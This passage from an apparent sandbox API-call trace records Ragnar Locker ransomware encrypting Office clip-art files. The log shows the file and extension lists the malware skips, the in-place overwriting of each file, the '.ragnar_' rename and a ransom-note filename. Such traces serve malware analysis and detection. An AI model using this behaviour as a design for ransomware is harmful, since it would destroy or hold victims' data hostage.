dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0082.119] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.119] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00296_.WMF" | out: lpString1="FD00296_.WMF") returned="FD00296_.WMF" [0082.119] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned=".WMF" [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="autorun.inf") returned 1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="boot.ini") returned 1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="bootfont.bin") returned 1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="bootsect.bak") returned 1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="bootmgr") returned 1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="bootmgr.efi") returned 1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="desktop.ini") returned 1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="iconcache.db") returned -1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="ntldr") returned -1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="ntuser.dat") returned -1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="ntuser.ini") returned -1 [0082.119] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="thumbs.db") returned -1 [0082.119] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.119] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.119] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.119] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.119] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.119] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.119] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0082.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.120] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15856) returned 1 [0082.120] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3de7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.120] GetProcessHeap () returned 0x580000 [0082.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.120] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.121] VirtualAlloc (lpAddress=0x0, dwSize=0x3df0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.122] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3df0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3df0, lpOverlapped=0x0) returned 1 [0082.123] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.123] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3df0, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.123] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3df0, lpOverlapped=0x0) returned 1 [0082.123] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3df0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.123] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.123] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3df0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.123] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.123] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.123] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.123] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.124] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.124] GetProcessHeap () returned 0x580000 [0082.124] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.124] CloseHandle (hObject=0xf4) returned 1 [0082.124] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" [0082.124] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.ragnar_FD7BD9FC" [0082.124] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0082.124] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.124] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00297_.WMF" | out: lpString1="FD00297_.WMF") returned="FD00297_.WMF" [0082.124] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned=".WMF" [0082.124] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.124] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="autorun.inf") returned 1 [0082.124] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="boot.ini") returned 1 [0082.124] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="bootfont.bin") returned 1 [0082.124] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="bootsect.bak") returned 1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="bootmgr") returned 1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="bootmgr.efi") returned 1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="desktop.ini") returned 1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="iconcache.db") returned -1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="ntldr") returned -1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="ntuser.dat") returned -1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="ntuser.ini") returned -1 [0082.125] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="thumbs.db") returned -1 [0082.125] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.125] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.125] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.125] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.125] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.125] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.125] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0082.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.126] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18194) returned 1 [0082.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4709, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.126] GetProcessHeap () returned 0x580000 [0082.126] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.126] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.128] VirtualAlloc (lpAddress=0x0, dwSize=0x4712, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.128] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4712, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4712, lpOverlapped=0x0) returned 1 [0082.129] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.129] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4712, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.129] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4712, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4712, lpOverlapped=0x0) returned 1 [0082.129] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4712, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.129] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.129] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4712, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.130] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.130] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.130] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.130] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.130] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.130] GetProcessHeap () returned 0x580000 [0082.130] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.130] CloseHandle (hObject=0xf4) returned 1 [0082.130] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" [0082.130] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.ragnar_FD7BD9FC" [0082.130] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.131] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0082.131] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.131] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00306_.WMF" | out: lpString1="FD00306_.WMF") returned="FD00306_.WMF" [0082.131] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned=".WMF" [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="autorun.inf") returned 1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="boot.ini") returned 1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="bootfont.bin") returned 1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="bootsect.bak") returned 1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="bootmgr") returned 1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="bootmgr.efi") returned 1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="desktop.ini") returned 1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="iconcache.db") returned -1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="ntldr") returned -1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="ntuser.dat") returned -1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="ntuser.ini") returned -1 [0082.131] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="thumbs.db") returned -1 [0082.131] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.131] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.131] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.131] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.131] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.131] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.131] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0082.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.132] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=46814) returned 1 [0082.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb6d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.132] GetProcessHeap () returned 0x580000 [0082.132] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.132] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.133] VirtualAlloc (lpAddress=0x0, dwSize=0xb6de, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.133] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.134] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb6de, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb6de, lpOverlapped=0x0) returned 1 [0082.135] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.135] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb6de, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.136] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb6de, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb6de, lpOverlapped=0x0) returned 1 [0082.136] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb6de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.136] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.136] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb6de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.136] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.136] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.136] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.136] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.137] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.137] GetProcessHeap () returned 0x580000 [0082.137] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.137] CloseHandle (hObject=0xf4) returned 1 [0082.137] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" [0082.137] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.ragnar_FD7BD9FC" [0082.137] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.137] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0082.137] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.137] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00336_.WMF" | out: lpString1="FD00336_.WMF") returned="FD00336_.WMF" [0082.137] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned=".WMF" [0082.137] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.138] lstrcmpiW 